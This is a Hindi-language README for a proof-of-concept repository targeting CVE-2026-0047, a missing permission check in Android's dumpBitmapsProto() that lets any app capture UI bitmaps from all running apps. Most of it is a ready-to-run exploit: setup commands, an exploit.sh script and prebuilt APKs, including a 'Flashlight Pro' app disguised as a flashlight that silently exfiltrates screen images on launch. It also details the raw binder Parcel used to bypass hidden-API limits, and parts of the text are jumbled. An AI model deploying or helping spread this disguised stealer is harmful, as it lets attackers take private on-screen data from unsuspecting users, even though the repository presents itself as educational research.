
CVE-2026-0047: ActivityManagerService.dumpBitmapsProto() में अनुमति जाँच का अभाव — शून्य अनुमतियों के साथ हर चालू ऐप से UI बिटमैप चुराएँ (Android 16 QPR2 Beta)
हर चल रहे ऐप से बिटमैप का ढेर चुराया गया — शून्य अनुमतियाँ, शून्य उपयोगकर्ता इंटरैक्शन।
ActivityManagerService.dumpBitmapsProto() में enforceCallingOrSelfPermission(DUMP) जाँच की अनुपस्थिति किसी भी इंस्टॉल किए गए ऐप को Android 16 QPR2 Beta (Baklava) पर चल रही सभी प्रक्रियाओं से UI बिटमैप बाहर निकालने की अनुमति देती है।
ध्यान दें: हमने यह भेद्यता खोजी नहीं है। इसे खोजने और जिम्मेदारीपूर्वक रिपोर्ट करने का सारा श्रेय मूल शोधकर्ताओं को जाता है। इस रिपॉजिटरी में हमारा स्वतंत्र पैच विश्लेषण, पुनरुत्पादन और शैक्षिक लेख शामिल है, जो सुरक्षा समुदाय को बग की श्रेणी और इसमें शामिल शोषण तकनीकों को समझने में मदद करता है।
| CVE | CVE-2026-0047 |
| गंभीरता | गंभीर — CVSS 8.4 |
| घटक | ActivityManagerService.dumpBitmapsProto() |
| मूल कारण | अनुमति जाँच का अभाव (CWE-280) |
| प्रभाव | कोई भी शून्य-अनुमति वाला ऐप सभी चल रहे ऐप्स से UI बिटमैप चुरा सकता है |
| प्रभावित | Android 16 QPR2 Beta 1–3 (Baklava), पैच स्तर < 2026-03-01 |
| पैच किया गया | मार्च 2026 Android सुरक्षा बुलेटिन |
├── app/ # PoC exploit app (audit tool UI)
├── attacker/ # "Flashlight Pro" — disguised attacker app
├── apk/ # Pre-built APKs (ready to install)
│ ├── cve-2026-0047-poc.apk
│ └── flashlight-pro-attacker.apk
├── exploit.sh # Single-shot exploit script
├── gradle/ # Gradle wrapper
└── README.md
आपको 2026-03-01 से पहले के सुरक्षा पैच स्तर वाला Android 16 QPR2 Beta (Baklava) एमुलेटर चाहिए:
# Download the vulnerable system image
sdkmanager "system-images;android-Baklava;google_apis;arm64-v8a"
# Create an AVD
avdmanager create avd -n baklava -k "system-images;android-Baklava;google_apis;arm64-v8a"
# Boot the emulator
emulator -avd baklava &
# Verify the patch level is pre-fix
adb shell getprop ro.build.version.security_patch
# Anything before 2026-03-01 is vulnerable
# Full run: set up emulator, build, exploit, extract stolen bitmaps
./exploit.sh --setup-emulator
# Already have a Baklava emulator running?
./exploit.sh
# Skip build, just run exploit
./exploit.sh --skip-build
# Install the PoC app
adb install apk/cve-2026-0047-poc.apk
# Open some apps (Settings, email, etc.) to have visible UI
adb shell am start -n com.android.settings/.Settings
# Launch the PoC
adb shell am start -n com.poc.cve20260047/.MainActivity
# Tap "Exploit dumpBitmapsProto()" button
# Install the disguised attacker app — declares ZERO permissions
adb install apk/flashlight-pro-attacker.apk
# Launch it — exfiltration happens silently on startup
adb shell am start -n com.poc.cve20260047.attacker/.MainActivity
रॉ बाइंडर प्रोब — activity सेवा पर ट्रांज़ैक्शन कोड #117 dumpBitmapsProto() पर मैप होता है। इसे बिना तर्कों के भेजने पर AMS के अंदर NullPointerException उत्पन्न होती है (SecurityException नहीं), जो साबित करता है कि मेथड बॉडी बिना किसी अनुमति जाँच के निष्पादित होती है।
रॉ बाइंडर शोषण — हम IBinder.transact() का उपयोग करके हाथ से तैयार किया गया Parcel सीधे AMS को भेजते हैं। यह Android की छिपी API प्रतिबंधों को पूरी तरह से बायपास करता है — किसी hidden_api_policy सेटिंग की आवश्यकता नहीं होती। Parcel में निम्न शामिल होता है:
android.app.IActivityManager)ParcelFileDescriptor (पाइप राइट एंड)userId = -2 (USER_CURRENT)dumpAll = trueSettings, Clock और Files खुले होने के साथ Baklava एमुलेटर (BP41.250725.007, पैच 2025-08-05) पर:
Google ने dumpBitmapsProto() की पहली पंक्ति के रूप में enforceCallingOrSelfPermission(DUMP) जोड़ दिया, जिससे विशेषाधिकार-रहित कॉलर्स को अब किसी भी डेटा तक पहुँचने से पहले ही SecurityException प्राप्त होता है।
शोध और PoC: Mobile Hacking Lab। हमने इस भेद्यता को शैक्षिक उद्देश्यों के लिए स्वतंत्र रूप से पुनरुत्पादित किया।
यह प्रूफ ऑफ कॉन्सेप्ट केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान उद्देश्यों के लिए प्रदान किया जाता है। इसका उपयोग केवल उन डिवाइसों और वातावरणों पर करें जिनके स्वामी आप हैं या जिनके परीक्षण की आपके पास स्पष्ट अनुमति है। लेखक किसी भी दुरुपयोग के लिए जिम्मेदार नहीं हैं।
format = "png"बिटमैप निष्कर्षण — AMS पाइप में PNG बिटमैप युक्त प्रोटोबफ डेटा लिखता है। हम अलग-अलग इमेज निकालने के लिए PNG मैजिक बाइट्स (89 50 4E 47) और IEND ट्रेलरों की खोज करते हैं।